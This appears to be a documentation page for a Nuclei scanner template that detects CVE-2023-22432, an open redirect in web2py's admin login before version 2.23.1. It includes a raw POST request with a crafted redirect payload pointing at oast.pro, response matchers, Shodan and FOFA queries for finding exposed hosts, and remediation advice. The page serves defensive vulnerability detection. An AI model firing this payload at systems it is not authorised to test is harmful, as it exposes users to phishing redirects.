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Web2py URL - Open Redirect

ID: CVE-2023-22432

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2023,web2py,redirect,authenticated

Description

Section titled “Description”

Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.

YAML Source

Section titled “YAML Source”
id: CVE-2023-22432


info:
  name: Web2py URL - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
  remediation: |
    Update to web2py 2.23.1 or higher.
  reference:
    - https://github.com/aeyesec/CVE-2023-22432
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22432
    - https://jvn.jp/en/jp/JVN78253670/
    - http://web2py.com/
    - http://web2py.com/init/default/download
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-22432
    cwe-id: CWE-601
    epss-score: 0.00945
    epss-percentile: 0.83107
    cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: web2py
    product: web2py
    shodan-query: http.favicon.hash:-1680052984
    fofa-query: icon_hash=-1680052984
  tags: cve,cve2023,web2py,redirect,authenticated


http:
  - raw:
      - |
        POST /admin/default/index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        password={{password}}&send=%5C%2F%5C%2Foast.pro&login=


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'a href="\/\/oast.pro"'


      - type: word
        part: location
        words:
          - '\/\/oast.pro'


      - type: status
        status:
          - 303
# digest: 4a0a0047304502210093398e2356cbc99e0a7339128b9a04ecd816db4bee5f11be2bef0a87b84030f702205ee7731c7f5c5c0c9419c4e5a6f919399e2f051d0f85050a8beb7f879f3a1541:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-22432.yaml"

View on Github